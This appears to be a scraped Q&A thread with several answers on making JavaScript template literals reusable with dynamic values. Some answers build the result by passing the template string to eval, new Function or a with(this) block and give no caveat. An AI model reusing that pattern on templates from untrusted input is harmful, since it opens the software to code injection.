This is my best attempt:
var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'
To generalify:
var s = (<variable names you want>) => {return `<template with those variables>`}
If you are not running E6, you could also do:
var s = function(<variable names you want>){return `<template with those variables>`}
This seems to be a bit more concise than the previous answers.
https://repl.it/#abalter/reusable-JS-template-literal
I was annoyed at the extra redundancy needed of typing this. every time, so I also added regex to expand variables like .a to this.a.
Solution:
const interp = template => _thisObj =>
function() {
return template.replace(/\${([^}]*)}/g, (_, k) =>
eval(
k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
)
)
);
}.call(_thisObj);
Use as such:
console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!
const fillTemplate = (template, values) => {
template = template.replace(/(?<=\${)\w+(?=})/g, v=>"this."+v);
return Function.apply(this, ["", "return `"+template+"`;"]).call(values);
};
console.log(fillTemplate("The man ${man} is brother of ${brother}", {man: "John", brother:"Peter"}));
//The man John is brother of Peter
UPDATED: The following answer is limited to single variable names, so, templates like: 'Result ${a+b}' are not valid for this case. However you can always play with the template values:
format("This is a test: ${a_b}", {a_b: a+b});
ORIGINAL ANSWER:
Based in the previous answers but creating a more "friendly" utility function:
var format = (template, params) => {
let tpl = template.replace(/\${(?!this\.)/g, "${this.");
let tpl_func = new Function(`return \`${tpl}\``);
return tpl_func.call(params);
}
You can invoque it just like:
format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});
And the resulting string should be:
'This is a test: Hola, second param: Hi'
I just publish one npm package that can simply do this job.
Deeply inspired by this answer.
const Template = require('dynamic-template-string');
var tpl = new Template('hello ${name}');
tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';
Its implement is deadly simple. Wish you will like it.
module.exports = class Template {
constructor(str) {
this._func = new Function(`with(this) { return \`${str}\`; }`);
}
fill(data) {
return this._func.call(data);
}
}
you can use inline arrow function like this,
definition:
const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;
usage:
console.log(template('my replaced string'));
Runtime template string
var templateString = (template, values) => {
let output = template;
Object.keys(values)
.forEach(key => {
output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
});
return output;
};
Test
console.debug(templateString('hello ${word} world', {word: 'wonderful'}));
You can use the following function to resolve dynamically templates, supplying new data.
This use a non really common feature of javascript called Tagged Template Literal
function template(...args) {
return (values) =>
args[0].reduce(
(acum, current, index) =>
acum.concat(
current, values[index] === undefined ? '' : values[index]
),
''
)
}
const person = 'Lydia';
const age = 21;
template `${person} is ${age} years old... yes He is ${age}`(['jose', 35, 38]); //?
This gave me a major headache when I came across it. Literal templates in javascript are very cool BUT they **** as reusable or with dynamic values. But the solution is amazingly simple. So simple in fact I had to kick myself several times after spending a few days coding parsers and formatters and other solutions that ALL dead ended. In the end after I gave up on the idea and was going to use mustache or other template module, it hit me.....
const DT = function dynamicTemplate(source) { return (new Function(`return \`${source}\``))() }
//let a = 1, b = 2;
//DT("${a} + ${b} equals ${a + b}")
// prints '1 + 2 equals 3'
And that is all she wrote.
If you are using Angular, you can use #ngx-translate/core package as follows:
import { TranslateDefaultParser } from '#ngx-translate/core';
export class SomeClass {
public parser = new TranslateDefaultParser();
test() {
// outputs "This is my great reusable template!"
this.parser.interpolate('This is my {{expletive}} reusable template!', { expletive: 'great' });
}
...
}
I solved this interpolation template using:
function flatKeys(inputObject: any): {[key: string]: any} {
const response: {[key: string]: any} = {};
function iterative(currentObject: any, parentKeys: string[]=[]) {
const llaves = Object.keys(currentObject);
for (let i=0; i<llaves.length; i++) {
const llave: string = llaves[i];
const valor = currentObject[llave];
const llavesNext = parentKeys.concat(llave);
if (typeof valor == 'object') {
iterative(valor, llavesNext);
} else {
response[llavesNext.join('.')] = valor;
}
}
}
iterative(inputObject);
return response;
}
function interpolate(template: string, values: any, defaultValue='') {
const flatedValues = flatKeys(values);
const interpolated = template.replace(/\${(.*?)}/g, function (x,g) {
const value = flatedValues[g];
if ([undefined, null].indexOf(value) >= 0) {
return defaultValue;
}
return value;
});
return interpolated;
}
const template = "La ${animal.name} tomaba ${alimento.name} con el ${amigos.0.names}";
const values = {
animal: {
name:"Iguana"
},
alimento: {
name: "café"
},
amigos: [
{ name: "perro" },
true
]
};
const interpolated = interpolate(template, values);
console.log(interpolated);
All props to other answers here for teaching me about a javascript feature that I never knew about -- I knew about string template literals, but not that you could call functions with them without parens!
As a thanks here I'm sharing my typescript adaptation which makes it really easy to make a reusable template with named variables that typescript knows about -- it allows any type because they will get converted to string automagically, but you could adjust that on your own if you dislike the strategy.
/**
* Use this with a template literal in order to create reusable string template;
* use interpolation to add strings for each variable you want to use in the template.
*
* e.g.:
*
* const reUsableStringTemplate = stringTpl`${'name'} and ${'otherName'} are going to ${'place'}`;
*
* You can then call it with:
*
* const filled = reUsableStringTemplate({name: 'John', otherName: 'Jane', place: 'Paris'});
* // John and Jane are going to Paris
*
* reUsableStringTemplate will have types and know the names of your variables
*
* #returns String template function with full typescript types
*/
export function stringTpl<keys extends string>(parts: TemplateStringsArray, ...keys: keys[]) {
return (opts: Record<keys, any>) => {
let outStr = '';
for (let i = 0; i < parts.length; ++i) {
outStr += parts[i];
const key = keys.shift();
if (key && key in opts) {
outStr += opts[key];
} else {
outStr += key ?? '';
}
}
return outStr;
};
}

Categories